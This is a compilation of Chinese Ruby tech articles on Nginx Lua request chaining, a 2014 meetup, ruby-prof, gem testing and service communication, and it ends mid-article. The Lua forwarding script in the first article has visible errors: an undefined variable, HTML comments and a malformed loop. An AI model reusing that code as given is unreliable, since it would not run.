面向侧面的程序设计（aspect-oriented programming，AOP），通过将解决特定领域问题的代码从业务逻辑中独立出来，从而提高代码的可维护性。

从主关注点中分离出横切关注点是面向侧面的程序设计的核心概念。分离关注点使得解决特定领域问题的代码从业务逻辑中独立出来，业务逻辑的代码中不再含有针对特定领域问题代码的调用，业务逻辑同特定领域问题的关系通过侧面来封装、维护，这样原本分散在在整个应用程序中的变动就可以很好的管理起来。 - 维基百科





示例是根据最近正在负责的 APP 后端项目简化版，需求简单说如下：


	APP 端会对所有请求进行加密，服务器端要对加密结果进行校验，确保正确以及未篡改；


	通过手机号来登录，采用基本的 token 机制验证登录；


	有企业、小组以及员工的层级关系，后期必须考虑根据公司来分表/集群；


	提供涉及到权限的 REST 风格的接口（某种程度上类似 Postgrest，但是进行了拓展，后面会有专门文章介绍）




Version 1st.

思路：首先整个目前项目的主关注点 (core concern) 是 REST 风格的资源服务器 —— 即通过约定俗成的风格来对应具体的数据/资源操作。在这个功能外，需要完成的其他关注点包括：


	所有请求加密校验


	登录验证


	资源的权限管理以及获取




于是，在 Sinatra 中，可以通过 extensions 的方式将请求加密校验完成，配合 before 来进行统一处理：

require 'sinatra/base'

module Sinatra

  module RequestHeadersVerify

    module Helpers
      def headers_valid?
        # 此处省略真实业务代码
        false
      end
    end

    def self.registered(app)
      app.helpers RequestHeadersVerify::Helpers

      app.before do
        unless headers_valid?
          halt 400, json(ResponseErrror::InvalidHeadersError.new)
        end
      end
    end
  end

  register RequestHeadersVerify
end

最终采用"中间件"的方式，在请求的最前面一层（横切关注点 crosscutting concerns）将非法请求进行拦截。

于是紧接着第二个流程，验证用户是否登录，与获取当前联系人所在的公司、小组、以及其管理的小组信息一样，这里最快速/方便的做法就是通过 helpers 来实现：

require 'sinatra/base'

module Sinatra 
  module UserSessionHelpers
    HTTP_USER_TOKEN_KEY = 'HTTP_AUTH_TOKEN'

    def current_user
      @current_user ||= (
        user = User.first token: env[HTTP_USER_TOKEN_KEY]
        halt 400, json(ResponseErrror::InvalidTokenError.new) unless user
        user
      )
    end
  end

  module OrganizationHelpers
    # 这里省略掉相关 helpers 代码
  end

  helpers UserSessionHelpers
  helpers OrganizationHelpers
end

最终在 REST 相关的构建代码中，就不需要去考虑用户请求加密的内容，也不需要去考虑用户是否登录（因为如果需要使用到用户信息但是用户没有登录，会直接抛出错误返回）。只需要按照约定的设计风格，把请求的内容在校验了内容和权限后，转成对应的数据库操作，最终再按照约定的内容返回。

Version 2nd.

第一版已经尽可能的考虑到 解决特定领域问题的代码从业务逻辑中独立出来。但是现实开发里面经常会涉及到多人开发、跨语言合作、更快速的迭代等等的问题，最终需要把他们拆成独立的低耦合度的 Server。于是随之而来的是如何在服务间进行通讯/共享数据。

这里的方案选择通常会根据实际业务以及难易程度来权衡，例如最快捷的 webServer 的方式内部通信，稍微复杂点的基于 TCP 的 RPC 通信方案（例如 thrift），或者某些特殊的情景，例如是生产者/消费者关系的话，则可能通过 MQ 来进行通信。最终我们采用的是通过 Nginx 的 lua 模块来将 server 以面向侧面的思路耦合。

首先，Nginx 的 Lua 模块可以做什么？如果可以，单纯 nginx 和 lua 就可以完成完整的 web 服务。可以连接 redis、memcache、postgresql 等等，同时可以取得请求的所有内容，可以设置返回的头部、正文。配合 lua 的对数据处理能力，基本功能都可以实现。同时 nginx 的 lua 模块整体都是异步，所以性能也相对较好。当然也可以通过 lua 脚本来控制权限，如果验证通过则继续下面的操作，例如是 proxy_pass 代理，简单的示例如下文：

location = /foo {
    access_by_lua_block {
        -- check the client IP address is in our black list
        if ngx.var.remote_addr == "132.5.72.3" then
            ngx.exit(ngx.HTTP_FORBIDDEN)
        end

        -- check if the URI contains bad words
        if ngx.var.uri and
            string.match(ngx.var.request_body, "evil")
        then
            return ngx.redirect("/terms_of_use.html")
        end

        -- tests passed
    }

    proxy_pass http://blah.blah.com;
 }

不过，我们这里将用到的主要还是 proxy_pass, 和 ngx.location.capture，基本代码如下：

<!-- 禁止任何以下划线开始的请求地址 -->
if string.sub(ngx.var.uri, 2, 2) == "_" then
  ngx.exit(404)
end

local cjson = require "cjson"

local custom_header_prefix = "V-"
local request_args = ngx.req.get_uri_args(64)
local request_body = ngx.req.read_body()
local request_path = ngx.var.uri
local request_method = ngx["HTTP_"..ngx.req.get_method()]

for header, _ in pairs(ngx.req.get_headers()) do
  if string.upper(string.sub(header, 1, 2)) == crm_header_prefix then
    ngx.req.clear_header(header);
  end
end

function res_with_json(body, status)
  ngx.header["Content-Type"] = "application/json"
  ngx.print(body)
  return ngx.exit(status)
end

function request_to_server(uri)
  <!-- 发起请求至其他地址并取得结果 -->
  res = ngx.location.capture(uri..request_path, {
    body = request_body,
    args = request_args,
    method = request_method,
  })
  local json_response = cjson.decode(res.body)

  <!-- 解析返回内容 -->
  if not json_response.next == true then
    res_with_json(res.body, res.status)
  end
  for key, value in json_response.params do
     ngx.req.set_header(custom_header_prefix..string.upper(key), value)
  end
  return false
end

上面的代码主完成了清理用户恶意提交的请求头，以及 request_to_server 的代码，实现了将原请求内容转发给另一个接口并获得请求后的内容。得到请求结果后，验证请求的参数。

同时在 nginx 里面通过 stream 和 proxy_pass 的方式来配置多个内部地址：

upstream authentication-server {
    server 192.168.21.1:6011;
    server 192.168.21.2:6011;
}

server {
    location /_authentication {
      proxy_redirect off;
      proxy_set_header Host      $host;
      proxy_set_header X-Real-IP $remote_addr;

      rewrite  ^/_authentication/(.*)  /$1 break;
      proxy_pass http://authentication-server;
    }
}

于是，将两个结合起来，就可以实现通过 lua 脚本把原请求的所有参数，包括头部、正文、请求地址、请求方法都带过去，请求另一个地址（和 proxy_pass 类似），并且可以得到最终返回的结果处理。

拥有这个能力后，便是本文的重点了：在 Sinatra 的第一版本中，最终都是 ruby 代码不断调用方法，来完成整个请求的流程。那如果我们把整个流程的打通交给 Nginx 的话该如何实现呢？


	当一个请求进入后，通过 request_to_server 的能力，把请求依次转发给负责 横切关注点 的服务，例如用户请求校验以及登录校验服务、用户的组织架构服务，最终再去调用主关注点，即本文中的资源服务器；


	每次请求完后，根据前一个流程的返回值决定是否进入下一个流程，例如示例中的 lua 脚本是通过返回的 json 里面的 next 参数来决定是否继续往下走。如果没有这个参数则直接返回当前服务的返回值不再继续请求下去；


	如果出现了 next: true 这个关键字，则将返回值中的其他内容以请求头的形式传递给下一个服务，且每个服务都会完全信赖这些请求头（所以请求刚进来的时候需要做一些请求头和请求地址处理）。




如果到这里都没有太大问题，你应该可以理解我的意图了。即 Nginx 通过 Lua 脚本来依次请求 横切关注点服务器，如果一路顺畅（每次都有 next: true），最终会把携带有 横切关注点服务返回的内容的 headers 带给主关注点服务。

于是，在本需求里面，为了保证可拓展性和低耦合性，最终分为了三个服务：


	负责请求加密鉴权，用户登录、密码修改的用户验证服务


	负责管理企业结构、获取用户权限的组织架构服务


	负责具体的 REST 请求处理的资源服务





	当一个用户登录的请求过来，因为密码错误或者加密鉴权失败，会在用户验证服务就直接返回错误。因为返回内容中没有 next: true 字段，所以直接返回结果；


	当一个用户发起了一个发送短信验证码的服务，这个只是用户验证服务的职能，没有必要继续向下走，于是返回了一个没有 next: true 字段的返回值，于是 Nginx 直接返回结果；


	当用户登录的时候，虽然通过了用户验证服务的校验，但是该服务无法获取更多的用户信息，于是把该请求继续传递到组织架构服务，组织架构服务在请求头中拿到了手机号信息，于是直接返回了该手机号所对应的详细信息；


	现在发起了一个资源操作的请求，因为用户验证服务无法识别，所以只返回了手机号给 nginx，nginx 继续请求组织架构服务，因为组织架构服务也不能处理，所以继续返回了详细的个人信息给 nginx，nginx 最终拿到这些信息，都通过头部请求了资源服务，然后因为这里是主关注点，也是流程里面最后一个节点，所以通过 proxy_pass 给了资源服务。






最终，这样做的优势：


	利用 Nginx 异步的优势来弥补 ruby 服务先天性 IO 处理的不足；


	目前只实现了第一条线，即从用户验证 -> 组织信息 -> 资源服务器的顺序，后面如果有需要，可以随时实现其他顺序，而只需要按照在请求头里面加上相应的参数即可，减低耦合性；


	三个模块都有各自的业务和特点，可以针对模块去设计缓存方案，而且可以分模块去设计集群方案；


	对于开发者而言，更容易完成单个服务的测试用例，而不需要过多在开发过程中关注联调。




原文: 使用 Nginx 优化面向侧面的架构


 Ruby Shanghai 2014年终聚会总结

作者：Gene_Wu

来源： Ruby Shanghai 2014年终聚会总结



                    
准备


本次活动获得了薄荷的大力支持，在他们新的高大上的办公室。同时要一并感谢本次活动的多家赞助单位


微客来在紧急关头支持了投影设备，解决了最后的难题。


我提前来到会场，和GitCafe的Kumalee一起清点了礼品，我们把礼品堆成了一座小山，并且把Coding.net的猴子排成一排放在最前面。





过程


我简短的进行了开场的介绍，并且欢迎了众位到场的Rubyist。当然这时也有一个小插曲，开场第一个演讲者叶玎玎大神还从杭州赶往会场的路上，就在我打算和大家说抱歉，并准备让小荣顶上的时候，我眼角的余光看到玎玎跨入了会场！


叶玎玎


玎玎的主题是关于Rails底层数据库的进阶知识 Better Rails by Knowing Better Database


我可以说很多听众就是冲着玎玎的大名来的，他深入浅出的讲解了Rails在数据库端的一些共同性的问题，以及如何解决。





刘垣德


ROR开发遇到的问题


垣德虽然接触Ruby时间不长，但是我相当欣赏这种愿意站出来与大家分享自己体会的勇气。我相信如果大家都秉持这种态度，我们的社区会越来越兴旺。


有一些问题，如果作为过来人的你知道如何解决，可以在他的帖子里进行回答。


Shin


新手学习Web开发经验分享


Shin在演讲中讲述了个人作为新手学习Rails Web开发的体会，并且和大家分享了如何设计漂亮网站的个人经验。




Shin不光给大家分享了主题，同时还拉来了很多由他公司“万国数据”提供的赞助礼品。


吴坚


我紧凑的利用了第二次开场的时间，回顾了一下我们Ruby Shanghai社区在2014年取得的进展，并且展望了2015年我们的活动计划。借这个机会也向其他几位志愿为大家组织活动的成员表示了谢意，并鼓励大家送上掌声。





吕小荣


Ruby Require


小荣简短介绍了自己如何转到Ruby开发上面来的。然后言归正传讲解了Ruby Require的种种细节。小荣不愧是是做产品经理出身，Slide写的非常细致，内容也是相当有针对性。





吴江


用Grape + Swagger 开发API


吴江是社区的老老老成员了，我第一次参加活动他就在，多少年过去，Ruby一直还是他的最爱！


他带来了他最新的一些针对API开发的工作体会，他的PPT工具真是酷毙了，如果看一眼绝对无法忘记。吴江在会后还对自己的PPT做了润色，如果当时在后排没有看的特别清楚的朋友可以再度研习一遍。





篇外


虽然这次到场的人很多，我还是坚持了以前月度会议的传统，自我介绍，这次的确有一些从周边地区来的朋友参加，我也希望这次活动不虚此行。另外有一些新鲜的血液加入我们，尤其是像刘垣德等参加了我们七周七语言Ruby活动的新Rubyist，让我更加惊喜。


薄荷给我们准备了非常丰富的茶歇，都是他们的健康减肥食品和一些饮料。大家三三两两凑在一起热烈讨论起来，一转眼时间就过了半个多小时，实在是后面还有不少主题需要进行。我非常不忍心的把大家都请回了主会议场地。


进入了抽奖的环节，别看这次到场的同学突破了80人，但这次赞助相当的给力，基本做到了人手一奖，阳光普照！我们把在场所有人的名字做了一个数组，用 [].shuffle的方法一一把奖品发到参会人员的手里，最后有一个。我们还剩下了几只Coding.net的可爱猴子抱枕，我们就赠给了当天为我们活动跑前跑后服务的几位薄荷的。我得特别感谢薄荷的几位工作人员，一个一个把极度难以辨认的签名，一一输入电脑。


最后，我们在薄荷门口室内攀岩区来了个聚会合影，多么值得纪念的2014年在盛大的聚会中过去了！（请忽视前面不雅姿势的我，实在没地方凑合站了，都会挡着人）





这次活动中，见到了不少老朋友，也结识了不少新朋友。看到用Ruby的那些公司们一年比一年做的更好，我由衷的感到高兴！


如果你参加了当天的会议，最好可以给我们组织者一些反馈，我们可以做的更好，如果你有什么想分享的，也可以在问卷中反馈给我们，谢谢！


问卷地址：（可以通过二维码扫描迅速反馈）





赞助商



	薄荷

	segmentfault

	Coding.net

	GitCafe

	万国数据




 Ruby Profiler 详解之 ruby-prof（I）

作者：OneAPM蓝海讯通

来源： Ruby Profiler 详解之 ruby-prof（I）



                    

  项目地址： ruby-prof




在上一篇 Ruby 中的 Profiling 工具中，我们列举了几种最常用的 Profiler，不过只是简单介绍，这一次详细介绍一下 ruby-prof 的使用方法。


ruby-prof 是比较强大的，支持 cpu，内存使用，对象分配等等的性能分析，而且提供了很多友好的输出格式，不仅仅是有基于文字，html 的格式，还能输出 graphviz 格式的 dot 文件，以及适用与 KCacheGrind 的call tree格式， 其实这个格式是基于 Valgrind 的，这个工具很棒，大家可以去官网了解一下。


有两种方式运行 ruby-prof，一种是需要在源码中插入 ruby-prof 的启动和停止代码：


require 'ruby-prof'

RubyProf.start
# 这里写入要进行性能剖析的代码 result = RubyProf.stop

# 选择一个Printer printer = RubyProf::FlatPrinter.new(result) printer.print(STDOUT)



还有一种是在命令行直接运行的，安装了 Gem 包 ruby-prof 之后，会同时安装 ruby-prof 命令，使用如下：


ruby-prof -p flat test.rb



这种方法更灵活，我们使用这种方法来说明ruby-prof的使用方法。


直接运行ruby-prof -h得到ruby-prof的帮助信息，由于太多，这里就不列出来了，大家可以自己在系统中执行看看。


其中-p参数为输出格式，以下就会逐一介绍各个 Printer 的格式，指数的意义以及相关显示工具的使用。在介绍输出格式的过程中，也会相应的介绍其他的几个参数的用途。


输出格式类型


flat                   - Prints a flat profile as text (default).
flat_with_line_numbers - same as flat, with line numbers.
graph                  - Prints a graph profile as text.
graph_html             - Prints a graph profile as html.
call_tree              - format for KCacheGrind
call_stack             - prints a HTML visualization of the call tree
dot                    - Prints a graph profile as a dot file
multi                  - Creates several reports in output directory



示例程序


def m1
  "string" * 1000
end

def m2
  "string" * 10000
end

def start
  n = 0
  n = n + 1 while n < 100_000

  10000.times do
    m1
    m2
  end
end

start



这是最基础的测试程序，我们会在介绍ruby-prof的功能的同时添加其他代码来进行演示。


GC 对性能剖析的影响


进行性能剖析的时候 GC 的运行总会对结果产生比较大的影响，这里我们暂时不考虑它，我们会有另外一篇文章做专门的介绍。


最简单的输出格式 - flat


ruby-prof -p flat test.rb

Measure Mode: wall_time
Thread ID: 12161840
Fiber ID: 19223800
Total: 0.206998
Sort by: self_time

 %self      total      self      wait     child     calls  name
 68.50      0.142     0.142     0.000     0.000    20000   String#*
 10.45      0.207     0.022     0.000     0.185        1   Object#start
  6.82      0.014     0.014     0.000     0.000   100001   Fixnum#<
  6.46      0.013     0.013     0.000     0.000   100000   Fixnum#+
  2.84      0.158     0.006     0.000     0.152        1   Integer#times
  2.52      0.128     0.005     0.000     0.123    10000   Object#m2
  2.40      0.024     0.005     0.000     0.019    10000   Object#m1
  0.01      0.207     0.000     0.000     0.207        2   Global#[No method]
  0.01      0.000     0.000     0.000     0.000        2   IO#set_encoding
  0.00      0.000     0.000     0.000     0.000        3   Module#method_added

* indicates recursively called methods



先来一一解释一下各项指标的意思：




	Indicator
  	Explanation





	%self
  	方法本身执行的时间占比，不包括调用的其他的方法执行时间



	total
  	方法执行的总时间，包括调用的其他方法的执行时间



	self
  	方法本身执行的时间，不包括调用的其他的方法执行时间



	wait
  	多线程中，等待其他线程的时间，在单线程程序中，始终为0



	child
  	方法调用的其他方法的总时间



	calls
  	方法的调用次数





他们之间的基本关系就是：


total = self + wait + child



具体来说就是String#*这个方法占据程序运行时间的 68.50%，花费了0.142秒，执行了20000次，而 Object#start方法就是代码中定义的start方法，它占据程序运行时间的10.45%，花费了0.022秒，调用的 方法花费了0.185秒，调用了1次，总共花费的时间（total）为0.022 + 0.185 = 0.207，相信现在大家都能名白这些指数的意义了。


现在我们明白了这个输出的指标意思，假如这个程序是存在性能问题的，那么这些数据说明了什么问题？通常情况下， 我们需要看两个指标，%self 和 calls，单纯看 %self 有时候是没有用的，上面这个例子，它的耗时方法是String#*， 我们不太可能去改进语言本身的方法，这种情况下，我们发现 calls 的值比较大，那么就想办法减少对String#*的方法调用。


利用 flat 输出格式，也就只能发现这样简单的问题，如果这时候想要减少String#*的方法调用，就需要知道是谁调用了它， 而这个输出格式是体现不出来的，就需要选择其他的输出格式。


简单的调用关系输出 - graph


ruby-prof -p graph test.rb

Measure Mode: wall_time
Thread ID: 17371960
Fiber ID: 24397420
Total Time: 0.21026015281677246
Sort by: total_time

  %total   %self      total       self       wait      child            calls    Name
--------------------------------------------------------------------------------
  99.99%   0.01%      0.210      0.000      0.000      0.210                2      Global#[No method]
                      0.210      0.022      0.000      0.188              1/1      Object#start
                      0.000      0.000      0.000      0.000              3/3      Module#method_added
--------------------------------------------------------------------------------
                      0.210      0.022      0.000      0.188              1/1      Global#[No method]
  99.98%  10.34%      0.210      0.022      0.000      0.188                1      Object#start
                      0.161      0.006      0.000      0.155              1/1      Integer#times
                      0.014      0.014      0.000      0.000    100001/100001      Fixnum#<
                      0.014      0.014      0.000      0.000    100000/100000      Fixnum#+
--------------------------------------------------------------------------------
                      0.161      0.006      0.000      0.155              1/1      Object#start
  76.48%   2.68%      0.161      0.006      0.000      0.155                1      Integer#times
                      0.130      0.005      0.000      0.125      10000/10000      Object#m2
                      0.025      0.005      0.000      0.020      10000/10000      Object#m1
--------------------------------------------------------------------------------
                      0.020      0.020      0.000      0.000      10000/20000      Object#m1
                      0.125      0.125      0.000      0.000      10000/20000      Object#m2
  69.23%  69.23%      0.146      0.146      0.000      0.000            20000      String#*
--------------------------------------------------------------------------------
                      0.130      0.005      0.000      0.125      10000/10000      Integer#times
  61.81%   2.28%      0.130      0.005      0.000      0.125            10000      Object#m2
                      0.125      0.125      0.000      0.000      10000/20000      String#*
--------------------------------------------------------------------------------
                      0.025      0.005      0.000      0.020      10000/10000      Integer#times
  11.99%   2.28%      0.025      0.005      0.000      0.020            10000      Object#m1
                      0.020      0.020      0.000      0.000      10000/20000      String#*
--------------------------------------------------------------------------------
                      0.014      0.014      0.000      0.000    100001/100001      Object#start
   6.73%   6.73%      0.014      0.014      0.000      0.000           100001      Fixnum#<
--------------------------------------------------------------------------------
                      0.014      0.014      0.000      0.000    100000/100000      Object#start
   6.42%   6.42%      0.014      0.014      0.000      0.000           100000      Fixnum#+
--------------------------------------------------------------------------------
   0.01%   0.01%      0.000      0.000      0.000      0.000                2      IO#set_encoding
--------------------------------------------------------------------------------
                      0.000      0.000      0.000      0.000              3/3      Global#[No method]
   0.00%   0.00%      0.000      0.000      0.000      0.000                3      Module#method_added

* indicates recursively called methods



这次输出的内容就比较丰富，不过也可能让人头有点晕。我们来慢慢分析一下。


首先这次排序方式不一样了，是按照 total_time 排序的，flat 输出格式是按照self_time 排序的。整个报告被虚线分割为几部分，每部分中都描述了不定个数的方法调用信息，但是注意最左边两列，就是 %total, %self 那两列不为空的那一行，


先来看第二部分：


--------------------------------------------------------------------------------
                      0.210      0.022      0.000      0.188              1/1      Global#[No method]
  99.98%  10.34%      0.210      0.022      0.000      0.188                1      Object#start
                      0.161      0.006      0.000      0.155              1/1      Integer#times
                      0.014      0.014      0.000      0.000    100001/100001      Fixnum#<
                      0.014      0.014      0.000      0.000    100000/100000      Fixnum#+
--------------------------------------------------------------------------------



Object#start方法的执行花费了 99.98% 的总时间，不包括子方法调用的话，花费了10.34%的时间，调用了 一次，并且在start方法中还调用了Integer#times、Fixnum#<和Fixnum#+三个方法。


再来看右数第二列(calls)，是被/分隔的两个数，左边的数是此方法在这一层级调用了多少次Object#start，右边的数是 Object#start这个程序运行过程中总的运行次数。而Object#start调用的三个方法calls列出的是在Object#start 中执行的次数，以及总的执行次数。


最开始的一部分中有这样两个方法：Global#[No method]代表没有 caller，可以理解为 ruby 正在准备执行环境， Module#method_added是当有实例方法添加的时候，这个方法都会被触发。


那么这种输出格式能解释什么问题呢？在 flat 输出格式中我们已经定位到了问题String#* 的调用次数太多， 那么根据这个 graph 格式的输出格式我们应该可以找到是谁导致的这个问题。


先把可以发现问题的部分截出来：


--------------------------------------------------------------------------------
                      0.020      0.020      0.000      0.000      10000/20000      Object#m1
                      0.125      0.125      0.000      0.000      10000/20000      Object#m2
  69.23%  69.23%      0.146      0.146      0.000      0.000            20000      String#*
--------------------------------------------------------------------------------
                      0.130      0.005      0.000      0.125      10000/10000      Integer#times
  61.81%   2.28%      0.130      0.005      0.000      0.125            10000      Object#m2
                      0.125      0.125      0.000      0.000      10000/20000      String#*
--------------------------------------------------------------------------------
                      0.025      0.005      0.000      0.020      10000/10000      Integer#times
  11.99%   2.28%      0.025      0.005      0.000      0.020            10000      Object#m1
                      0.020      0.020      0.000      0.000      10000/20000      String#*
--------------------------------------------------------------------------------



第一部分说明String#*在Object#m1和Object#m1中各被调用了10000次，一共执行了20000次，次数一样，接着看下面， 同样是10000次，在Object#m2中花费的时间是0.125秒，而在Object#m1中花费的时间是0.020秒，多出了0.105秒，这样， 我们能定位出问题出在了Object#m2这里。


graph 可输出为 html 格式，这里只是演示了纯文本版，html 格式更容易交互，需要添加参数 -f 指定输出的路径和文件名。


GraphViz dot - dot


ruby-prof -p dot test.rb -f dot.dot



有工具可以将 dot 文件转换为 pdf 查看，也有专门查看 dot 文件的工具，比如 ubuntu 上的 XDot。





这张图也明确说明了问题出在了Object#m2这里。


可交互的调用关系 - call_stack


ruby-prof -p call_stack test.rb -f callstack.html






这里真是一图胜千言，一目了然，Object#m2中的String#*的 10000 次调用花费了 60.52% 的时间，不用多解释，快点自己尝试一下吧。


终极万能全视角 - call_tree


首先安装 KCacheGrind，ubuntu下直接sudo apt-get install kcachegrind


ruby-prof -p call_tree test.rb -f call_tree.out



打开KCacheGrind，然后打开call_tree.out（文件类型选所有），这个神奇的工具能呈现给你所有真相。

















有了前面介绍的输出格式说明，看懂这个就很容易了，我们还是会介绍一下，不过是在另一篇，因为这篇有点太长了，下一篇 会详细介绍一下 KCacheGrind 的使用方法。




本文系 OneAPM 工程师李哲编译整理，想阅读更多技术文章，请访问 OneAPM 官方技术博客。


 如何测试你自己的 RubyGem？

作者：OneAPM蓝海讯通

来源： 如何测试你自己的 RubyGem？



                    
如何测试一个Gem


gem 开发完了，想要给别人用，那就需要测试啊，测试一个 gem 其实很简单，这里我们用 minitest 为例， rspec 也一样适用。先来看看我们当前这个 gem 的目录结构：


-rw-rw-r-- 1 lizhe lizhe   90  7月  2 15:52 Gemfile
-rw-rw-r-- 1 lizhe lizhe  379  7月  3 10:09 Gemfile.lock
drwxrwxr-x 3 lizhe lizhe 4096  7月  2 15:52 lib
-rw-rw-r-- 1 lizhe lizhe 1062  7月  2 15:52 LICENSE.txt
-rw-rw-r-- 1 lizhe lizhe  923  7月  3 10:09 mygem.gemspec
drwxrwxr-x 2 lizhe lizhe 4096  7月  2 18:33 pkg
-rw-rw-r-- 1 lizhe lizhe  187  7月  3 10:35 Rakefile
-rw-rw-r-- 1 lizhe lizhe  556  7月  2 15:52 README.md



打开 mygem.gemspec ，添加minitest：


spec.add_development_dependency "minitest", "~> 5.7.0"



执行bundle install安装minitest。


新建一个test文件夹，存放我们的测试的用例，然后新建一个test_helper.rb文件，放在里面。test_helper.rb的内容如下：


$LOAD_PATH << "./lib" # 把lib添加到load path

require 'minitest/autorun'  # 引进minitest
require 'mygem'



再来新建一个测试用例，test_mygem.rb：


require "test_helper"

class MygemTest < Minitest::Test

  def test_hello_output
    assert_equal(Mygem.hello, "hello from my gem")
  end

end



现在就来执行测试吧：


$ ruby test/test_mygem.rb

/home/lizhe/.rvm/rubies/ruby-2.1.5/lib/ruby/site_ruby/2.1.0/rubygems/core_ext/kernel_require.rb:54:in `require': cannot load such file -- test_helper (LoadError)
    from /home/lizhe/.rvm/rubies/ruby-2.1.5/lib/ruby/site_ruby/2.1.0/rubygems/core_ext/kernel_require.rb:54:in `require'
    from test/test_mygem.rb:1:in `<main>'  



出错了！找不到test_helper，因为它没有在加载路径里嘛，那就来换个方式，require_relative 'test_helper'，因为我们的命令是在 gem 根目录下的，所以相对路径就是当前的路径，如果是在 test 目录下执行，就需要写成require_relative '../test_helper'了，还挺麻烦。好，执行一下试一试：


$ ruby test/test_mygem.rb

Run options: --seed 30741

# Running:

.

Finished in 0.000793s, 1260.9959 runs/s, 1260.9959 assertions/s.

1 runs, 1 assertions, 0 failures, 0 errors, 0 skips



利用 Rake::TestTask 简化测试流程


前面的测试方法中，我们要手动添加 lib 目录到 load path ，然后在每个测试用例文件中要require_relative 'test_helper'，很是麻烦，现在来简化这一个流程。


首先添加 Rake::TestTask 到 Rakefile 中：


require 'rake/testtask'

Rake::TestTask.new do |t|
  t.libs << 'test' << 'lib'
  t.pattern = "test/test_*.rb"
end



现在把 testhelper 中的$LOADPATH << './lib'去掉，再把测试用例文件中的   require_relative 替换为  require   ，因为rak test task已经把 test 和 lib 两个目录都添加到 load path 中了，然后执行rake test：


$ rake test

Run options: --seed 29947

# Running:

.

Finished in 0.000969s, 1031.6447 runs/s, 1031.6447 assertions/s.

1 runs, 1 assertions, 0 failures, 0 errors, 0 skips



进一步简化，每个测试用例文件都要require 'test_helper'，也是够麻烦的，能不能让它自动执行这个动作呢？可以，只需要再加上一个选项即可：


require 'rake/testtask'

Rake::TestTask.new do |t|
  t.libs << 'test' << 'lib'
  t.pattern = "test/test_*.rb"
  t.ruby_opts << "-r test_helper" # 添加ruby运行参数，require指定的文件
end



现在把测试用例中的require 'test_helper'这一行也去掉，执行rake test，同样可以运行测试，又少写了一行，:smile :


现在来设置默认的 task ：


require 'rake/testtask'

Rake::TestTask.new do |t|
  t.libs << 'test' << 'lib'
  t.pattern = "test/test_*.rb"
  t.ruby_opts << "-r test_helper" # 
添加 ruby 运行参数，require指定的文件
end

task :default => :test



这样我就可以直接执行 rake 就可以跑测试了，连那个 test 都省了。


如果我们有多个测使用例，这个 rake test task 会跑所有测试，如果想跑指定的某一个怎么做呢？指定一个 TEST 参数即可：


rake test TEST=test/test_mygem.rb



参考链接



	Rake::TestTask





本文系OneAPM工程师李哲原创文章。想阅读更多技术文章，请访问OneAPM官方技术博客。


 【七牛弯区课堂】Ruby服务间通信模式

作者：七牛云

来源： 【七牛弯区课堂】Ruby服务间通信模式



                    
Ruby是计算机语言中的绅士，如果要用一个词来形容，那一定是优雅，有这么一位Rubyist，他的座右铭是“写优雅的程序，做一个优雅的人”，他是来自七牛小伙伴“薄荷”的Co-founder兼CTO谢文威（英文名Vincent）。薄荷的核心系统完全基于Ruby构建，关于Ruby服务间通信模式，他在“七牛弯区课堂”给Ruby爱好者们做了一次分享。





上图是薄荷App服务划分的例子，各子系统（服务）间需要进行各种通信，主要通信种类如下。


一、A服务需要使用Ｂ服务的一些数据  共享数据库


应用场景：用户的年龄、性别、身高和体重等数据存储在账号子系统中，其它子系统经常需要使用这些数据。


处理方式：共享数据库





App2直接建立连接访问 App1的数据库。这种方式的优点是性能较好，避免了接口处理和消息封装种种开销，适用于通信特别频繁或者数据量特别大的场合。薄荷的账号和会话数据即采取这种方案。但是，该方式导致服务间有很强的耦合，App2对App1的数据结构有紧密的依赖，导致App1的实现难以变更。


共享数据库方法：


ActiveRecord支持多数据库配置有一些注意的事项：

可以使用关联，不支持join，不支持事务

测试数据最好使用factory_girl

为避免数据混乱，只有一个服务可写


共享模型使用

gem model

git submodule


二、A服务需要Ｂ服务提供某个计算结果  请求结果（同步）


应用场景：计算预算热量需要使用复杂的数学模型，它放在记录子系统中实现，别的系统需要用到相关的数据时，通过一种通信机制拿到计算结果。


处理方式：HttpAPI Call和RPC


1）Http API Call





这是最常见的一种通信方式，服务实现方案成熟可靠，具有服务边际简单清晰的特点，同时适用于外部和内部，但内部调用性能不够好。


使用Http API注意事项

访问安全控制，使用ip限制，token校验等

避免调用层次过深，超时机制

Http Client选择（Http Client特别多，主要分为以下几类）





薄荷目前typhoeus和faraday用的较多，原因是：typhoeus底层基于curl，性能比较好，并且支持并行，用异步API的方式，比较可靠，不用担心多线程问题。




2）RPC（Remote Procedure Call）


主要特点：

长连接，避免每次通信创建网络连接，性能较好

对http、消息协议更高效

多种跨语言RPC方案，如thriftmsgpack_rpc

RPC管理

性能上有一定优势，需要权衡其复杂度，复杂度在于服务实现方案和管理方法。

服务端并发模式

高可用方案，可用HAProxy

平滑部署


RPC的用法比较少见，更多地用于跨多语言的团队，当公司使用多种语言且需要很好地整合时，RPC则是一种比较成熟的方案。


三、A服务需要Ｂ服务处理一项任务  请求任务处理（异步）


应用场景：在购物模块里面，一个订单发生支付后，需要给用户推送一些信息，比如发短信、邮件和手机推送等。发送消息可能需要比较长的时间才能完成，请求方不需要等待处理结果。


处理方式：消息队列


1）传统消息队列系统RabbitMQ/Active MQ

MQ可以有降低服务之间耦合度，通常用于服务之间的异步处理（传统MQ有更丰富的处理机制），传统MQ ruby服务实现方案，可以参考sneakers, hutch, rack-ampq, rack-rabbit。

2）在单个应用内部常常使用基于redis的轻量消息队列

resque&sidekiq

3）sidekiq-postman


它是Vincent写的一个gem，基于sidekiq轻量消息队列解决方法，简单实用，可以跨应用请求sidekiq任务处理，以下是其核心代码：





四、A服务发生某件事，通知Ｂ和Ｃ进行处理  订阅和通知


应用场景：比如账号基本信息，基于性能考虑，在子系统中存储了用户名副本。当用户名在账户子系统中发生变化时，需要通知其它子系统更新。


处理方式：消息队列





Sidekiq-driver 是Vincent正在写的基于sidekiq轻量订阅和通知解决方法的gem，大家可以尽情期待这个项目的开源。





【七牛弯区课堂】是七牛为广大开发者提供的技术实践分享课堂，后续将定期邀请各技术社区的专家进行分享。以上内容即是Ruby China社区在“七牛弯区课堂”的处女作。欢迎各技术社区的小伙伴来【七牛弯区课堂】分享实践心得，也感谢各位为技术社区所贡献的力量。


 [读书笔记] Ruby 中的 Block 和 Iterator

作者：springwq

来源： [读书笔记] Ruby 中的 Block 和 Iterator



                    
Block


定义


rubysome_array.each { |value| puts value + 3 }

sum = 0
other_array.each do |value|
  sum += value
  puts value / sum
end




	A block is somewhat like the body of an anonymous method

	Block can take parameters

	Block 只有被 method 调用时才会起作用，如果 method 中有参数，block 出现在最后面



Block 中的变量


